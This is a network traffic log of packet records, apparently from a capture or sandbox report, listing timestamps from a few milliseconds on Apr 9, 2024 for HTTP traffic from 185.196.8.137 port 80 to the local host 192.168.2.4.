Apr 9, 2024 14:54:07.460675955 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.460803032 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.460823059 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.460880041 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.460932970 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.460988998 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.461086988 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.461139917 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.461308002 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.461328983 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.461348057 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.461405039 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.461450100 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.461535931 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.461555958 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.461718082 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.461854935 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.461906910 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.462017059 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.462133884 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.462244987 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.462265015 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.462284088 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.462377071 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.462397099 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.462447882 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.462522984 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.462555885 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.462596893 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.462615967 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.462718964 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.462738991 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.462780952 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.464833021 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.464857101 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.464876890 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.464895964 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.464915037 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.464934111 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.464953899 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.464972973 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.464991093 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465013027 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465032101 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465050936 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465070009 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465089083 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465107918 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465126991 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465146065 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465164900 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465183020 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465202093 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465220928 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465240002 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465257883 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465276957 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465296984 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465316057 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465334892 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465353966 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465373039 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465390921 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465409994 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465428114 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465446949 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465465069 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465483904 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465502977 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465522051 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465543032 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465558052 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465572119 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465585947 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465600014 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465614080 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465626955 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465641022 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465679884 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465743065 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465806007 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465895891 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.465949059 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.466013908 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.466053009 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.466147900 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.466164112 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.466242075 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.466258049 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.466372013 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.466387033 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.466465950 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.466510057 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.466586113 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.466732979 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.466747046 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.466799021 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.466856003 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.466871023 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.466936111 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.467087984 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.467145920 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.467160940 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.467241049 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.467267990 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.467283010 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.467350006 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.467412949 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.467459917 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.467509031 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.467524052 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.467586994 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.467648029 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.467763901 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.467933893 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.468044996 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.468072891 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.468087912 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.468149900 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.468230963 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.468350887 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.468393087 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.468408108 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.468535900 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.468580961 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.468707085 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.468729019 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.468760967 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.468882084 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.468950033 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.469034910 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.469104052 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.469197989 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.469242096 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.469377041 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.469392061 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.469446898 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.469577074 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.469592094 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.469639063 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.469654083 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.469824076 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.469840050 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.469904900 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.470237970 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.470253944 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.470285892 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.470357895 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.470372915 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.470478058 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.470550060 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.470628977 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.470696926 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.470808029 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.470885992 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.470901012 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.470957994 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.471031904 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.471163988 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.471179962 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.471194983 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.471256018 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.471369028 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.471434116 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.471523046 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.471581936 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.471700907 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.472295046 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.472311020 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.472369909 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.472439051 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.472454071 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.472486019 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.472501993 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.472516060 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.472531080 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.472568989 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.472584009 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.472598076 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.472613096 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.472628117 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.472695112 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.472709894 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.472723961 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.472918987 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.472987890 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.473064899 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.473179102 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.473217010 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.473298073 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.473372936 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.473432064 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.473527908 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.473542929 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.473687887 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.473824024 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.473838091 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.473977089 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.474028111 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.474167109 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.474181890 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.474196911 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.474211931 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.474225998 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.474373102 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.474387884 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.474556923 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.474606037 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.474621058 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.474675894 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.474884987 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.475049019 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.475065947 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.475186110 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.475234985 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.475286007 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.475301981 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.475394964 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.475446939 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.475465059 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.475498915 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.475717068 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.475805998 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.475917101 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.475940943 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.475986004 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.476082087 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.476102114 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.476214886 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.476244926 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.476326942 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.476367950 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.476424932 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.476447105 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.476491928 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.476545095 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.476586103 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.476799965 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.476933956 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.476969004 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.477031946 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.477135897 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.477190018 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.477319956 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.477343082 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.477458954 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.477519035 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.477540970 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.477560997 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.477581978 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.477678061 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.478059053 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.478130102 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.502160072 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.506503105 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.506540060 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.506573915 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.506620884 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.506773949 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.506808043 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.506861925 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.506896019 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.508367062 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.508578062 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.508613110 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.508830070 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.508862972 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.508894920 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.509073019 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.509105921 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.509139061 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.509254932 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.509289980 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.509325981 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.509378910 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.509412050 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.509502888 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.509536028 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.509613991 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.509713888 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.509856939 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.509964943 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.510067940 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.510101080 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.510133028 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.510305882 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.510339975 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.510370970 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.510448933 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.510481119 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.510514021 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.510545969 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.510579109 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.510611057 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.510695934 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.510730028 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.510793924 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.510827065 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.510859013 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.510962009 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.511277914 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.511357069 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.511389971 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.511420965 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.511451960 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.511483908 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.511610031 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.511641979 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.511761904 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.511795044 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.511830091 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.513135910 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.513170004 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.513202906 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.513235092 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.513288021 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.513320923 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.513354063 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.513386011 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.513438940 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.513472080 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.513793945 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.513827085 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.513890982 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.513994932 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.514028072 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.514060020 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.514163017 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.514226913 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.514272928 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.514343023 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.514420033 CEST	80	49744	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.514482021 CEST	80	49744	185.196.8.137	192.168.2.4
